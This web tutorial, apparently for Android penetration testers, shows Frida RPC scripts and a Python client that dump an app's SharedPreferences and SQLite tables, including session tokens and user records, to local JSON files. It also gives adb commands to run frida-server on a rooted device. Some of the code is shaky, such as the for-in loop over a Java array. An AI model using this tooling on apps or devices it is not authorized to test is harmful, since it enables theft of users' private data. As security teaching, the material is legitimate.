Android App Penetration Testing & Frida Hooks

Automated Data Theft: Scripting Frida RPC for Mass Android Data Exfiltration

Google AdSense Native Placement - Horizontal Top-Post banner

Introduction: The Pervasiveness of Mobile Data and Exfiltration Risks

Android applications frequently store sensitive user data locally for convenience, offline access, or performance. While this practice is often legitimate, insecure storage or lack of proper access controls can turn these local caches into prime targets for data exfiltration during penetration testing or malicious attacks. Manually extracting data can be tedious and time-consuming, especially when dealing with large datasets or numerous applications. This is where Frida’s Remote Procedure Call (RPC) capabilities become invaluable, enabling automated, programmatic interaction with an app’s runtime environment for efficient data theft.

This article dives deep into leveraging Frida RPC to automate the discovery and exfiltration of sensitive data from Android applications. We’ll explore identifying common data storage mechanisms, crafting Frida JavaScript scripts to hook into relevant APIs, and building a Python client to orchestrate mass data extraction.

Understanding Frida and Its RPC Mechanism

Frida is a dynamic instrumentation toolkit that allows developers and security researchers to inject their own scripts into black-box processes. While its core strength lies in modifying runtime behavior and observing function calls, its RPC feature elevates it from a mere observation tool to a powerful interaction and control platform. RPC allows a client (e.g., a Python script) to directly call functions exposed by a Frida-injected JavaScript payload running within the target application’s process. This bidirectional communication channel is critical for automating complex tasks like data extraction.

Setting up Your Environment

Before we proceed, ensure you have a working Frida setup:

  1. An Android device (rooted or emulator) with the Frida server running.
  2. Python installed on your host machine.
  3. Frida Python bindings installed:
    pip install frida-tools

Identifying Data Storage Mechanisms in Android Apps

Sensitive data can reside in various locations within an Android application. Effective exfiltration strategies often begin with understanding these common storage patterns:

  • SharedPreferences: Key-value pairs, often used for user settings, session tokens, or small pieces of user data.
  • SQLite Databases: Structured data storage, prevalent for contacts, messages, application state, and often critical user information.
  • Internal Storage (Files): Private files specific to the app, including caches, downloaded content, or custom data formats.
  • External Storage: Publicly accessible storage, less common for sensitive data but still a possibility.
  • Memory: Data residing in RAM, especially during processing or before persistent storage.

For automated exfiltration, targeting `SharedPreferences` and `SQLite` databases is often the most fruitful due to their structured nature and accessible APIs.

Crafting the Frida JavaScript Payload (Agent)

Our Frida script will be injected into the target Android application. Its primary role is to hook into Android APIs responsible for data access and expose functions via `rpc.exports` that our Python client can call.

Exfiltrating SharedPreferences Data

Let’s start with `SharedPreferences`. We can enumerate all shared preferences files and then retrieve their contents.

Java.perform(function () {  const File = Java.use("java.io.File");  const ContextWrapper = Java.use("android.content.ContextWrapper");  const SharedPreferences = Java.use("android.content.SharedPreferences");  rpc.exports = {    getallsharedprefs: function () {      let result = {};      Java.choose("android.app.Activity", {        onMatch: function (instance) {          let context = instance.getApplicationContext();          if (context) {            const dataDir = new File(context.getApplicationInfo().dataDir.value);            const sharedPrefsDir = new File(dataDir, "shared_prefs");            if (sharedPrefsDir.exists() && sharedPrefsDir.isDirectory()) {              const files = sharedPrefsDir.listFiles();              if (files) {                files.forEach(function (file) {                  const fileName = file.getName().replace(".xml", "");                  const prefs = context.getSharedPreferences(fileName, ContextWrapper.MODE_PRIVATE.value);                  const allEntries = prefs.getAll();                  result[fileName] = {};                  for (let key in allEntries.keySet().toArray()) {                    let entryKey = allEntries.keySet().toArray()[key];                    result[fileName][entryKey] = allEntries.get(entryKey);                  }                });              }            }          }        },        onComplete: function () {}      });      return JSON.stringify(result);    }  };});

This script:

  1. Uses `Java.perform` to ensure our code runs within the app’s Java context.
  2. Locates the app’s data directory and `shared_prefs` subdirectory.
  3. Iterates through all `.xml` files (each representing a `SharedPreferences` file).
  4. Retrieves each `SharedPreferences` instance using `context.getSharedPreferences()`.
  5. Calls `getAll()` on each instance to get all key-value pairs.
  6. Stores the data in a `result` object and returns it as a JSON string via `rpc.exports.getallsharedprefs`.

Exfiltrating SQLite Database Data

Extracting data from SQLite databases involves identifying database files and then executing SQL queries. This example focuses on a known database file for brevity, but in a real scenario, you’d enumerate `.db` files similarly to `SharedPreferences`.

Java.perform(function () {  const SQLiteDatabase = Java.use("android.database.sqlite.SQLiteDatabase");  const Cursor = Java.use("android.database.Cursor");  rpc.exports = {    querysqlite: function (dbPath, tableName) {      let result = [];      try {        // Open the database directly; ensure 'dbPath' is the full path on the device        const db = SQLiteDatabase.openDatabase(dbPath, null, SQLiteDatabase.OPEN_READONLY.value);        if (db) {          const cursor = db.rawQuery("SELECT * FROM " + tableName, null);          if (cursor) {            const columnNames = cursor.getColumnNames();            while (cursor.moveToNext()) {              let row = {};              for (let i = 0; i < columnNames.length; i++) {                let colName = columnNames[i];                try {                  // Attempt to get string, handle other types as needed                  row[colName] = cursor.getString(i);                } catch (e) {                  // Handle other types like BLOB, INT, etc.                  // For simplicity, we're casting to string. A more robust solution                  // would check cursor.getType(i) and use appropriate cursor.get methods.                  row[colName] = "<UNSUPPORTED_TYPE>";                }              }              result.push(row);            }            cursor.close();          }          db.close();        }      } catch (e) {        console.log("Error querying SQLite: " + e.message);        return JSON.stringify({ error: e.message });      }      return JSON.stringify(result);    }  };});

This script:

  1. Exposes `querysqlite(dbPath, tableName)` via RPC.
  2. Opens the specified SQLite database in read-only mode.
  3. Executes a `SELECT *` query on the given table.
  4. Iterates through the cursor, extracts column names and values, and builds a list of row objects.
  5. Returns the results as a JSON string.

Building the Python Client for Automation

The Python client is responsible for connecting to Frida, loading our JavaScript agent, calling the exposed RPC functions, and processing the returned data.

import fridaimport jsonimport sysdef on_message(message, data):    if message['type'] == 'send':        print(f"[+] Received: {message['payload']}")    elif message['type'] == 'error':        print(f"[-] Error: {message['description']}")def main(target_package_name):    try:        # Connect to the local Frida server        device = frida.get_usb_device(timeout=10)        # Spawn the target application        pid = device.spawn([target_package_name])        session = device.attach(pid)        # Load the JavaScript agent        with open('frida_agent.js', 'r') as f:            script_code = f.read()        script = session.create_script(script_code)        script.on('message', on_message)        script.load()        print(f"[*] Attached to {target_package_name} (PID: {pid})")        # Resume the spawned application        device.resume(pid)        # Example 1: Get all SharedPreferences data        print("[+] Exfiltrating SharedPreferences...")        prefs_data_json = script.exports.getallsharedprefs()        prefs_data = json.loads(prefs_data_json)        print(f"[+] SharedPreferences Exfiltrated: {json.dumps(prefs_data, indent=2)}")        with open(f"{target_package_name}_prefs.json", "w") as outfile:            json.dump(prefs_data, outfile, indent=2)        # Example 2: Query a specific SQLite database and table        # You'll need to know the database path and table name        # e.g., /data/data/com.example.app/databases/app_data.db        # You might need adb shell to find these paths first.        db_path = f"/data/data/{target_package_name}/databases/user_data.db"        table_name = "users" # Replace with actual table name        print(f"[+] Querying SQLite table '{table_name}' from '{db_path}'...")        sqlite_data_json = script.exports.querysqlite(db_path, table_name)        sqlite_data = json.loads(sqlite_data_json)        print(f"[+] SQLite Data Exfiltrated: {json.dumps(sqlite_data, indent=2)}")        with open(f"{target_package_name}_users_table.json", "w") as outfile:            json.dump(sqlite_data, outfile, indent=2)        session.detach()    except frida.ServerNotRunningError:        print("[-] Frida server not running. Ensure 'frida-server' is running on your device.")        sys.exit(1)    except frida.ProcessNotFoundError:        print(f"[-] Process '{target_package_name}' not found. Is the app installed?")        sys.exit(1)    except Exception as e:        print(f"[-] An error occurred: {e}")        sys.exit(1)if __name__ == '__main__':    if len(sys.argv) != 2:        print(f"Usage: python {sys.argv[0]} <package_name>")        sys.exit(1)    target_app_package = sys.argv[1]    main(target_app_package)

To run this:

  1. Save the JavaScript code as `frida_agent.js`.
  2. Save the Python code as `exfiltrator.py`.
  3. Start `frida-server` on your Android device:
    adb push frida-server /data/local/tmp/frida-serveradb shell "chmod 755 /data/local/tmp/frida-server"adb shell "/data/local/tmp/frida-server &"

  4. Run the Python script, replacing `com.example.app` with your target package:
    python exfiltrator.py com.example.app

Conclusion: The Power of Automated Exfiltration

Frida’s RPC capabilities transform dynamic instrumentation from a manual, interactive process into a powerful, automatable workflow for penetration testers and security researchers. By combining carefully crafted JavaScript agents with robust Python clients, we can programmatically interact with Android applications, enumerate sensitive data storage, and exfiltrate information efficiently. This level of automation is critical when dealing with complex applications, numerous data points, or repetitive testing scenarios. While this guide focused on `SharedPreferences` and SQLite, the principles extend to other data sources, making Frida RPC an indispensable tool in the mobile application security arsenal for identifying and mitigating data exfiltration risks.

Android Mobile Specs & Compare Directory

Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!

Compare Devices Specs →
Google AdSense Inline Placement - Content Footer banner